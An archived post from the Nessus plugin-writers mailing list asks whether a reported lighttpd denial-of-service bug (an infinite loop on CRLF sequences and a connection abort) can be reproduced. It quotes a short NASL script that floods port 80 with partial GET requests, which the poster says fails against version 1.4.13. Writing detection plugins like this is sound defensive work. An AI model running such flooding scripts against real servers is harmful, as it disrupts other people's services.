List Info

Thread: lighttpd DoS




lighttpd DoS
country flaguser name
France
2007-06-02 14:31:02
"Robert Jakabosky discovered an infinite loop triggered
by a connection
abort when Lighttpd processes carriage return and line feed
sequences."

Could anybody reproduce this DoS? I recompile a lighttpd
1.4.13, but
this script does not work. 
The server rejects connections for about one minute
(because
all ports are saturated with sockets in TIME_WAIT state),
but it only
affects the attacking source IP and there is no CPU loop.

$ more /tmp/ec.nasl
i=  0;

while (s = open_sock_tcp(80))
{
i ++;
send(socket: s, data: 'GET / HTTP/1.0rn');
close(s);
}
display(i, ' donen');
$

-- 
http://www.bigfoot.com/
~arboi		http://ma75.blogspot.com/
PGP key ID : 0x0BBABA91 - 0x1320924F0BBABA91
Fingerprint: 1048 B09B EEAF 20AA F645  2E1A 1320 924F 0BBA
BA91
_______________________________________________
Plugins-writers mailing list
Plugins-writerslist.nessus.org
http://mail.nessus.org/mailman/listinfo/plugins-writers

[1]

about | contact  Other archives ( Real Estate discussion Medical topics )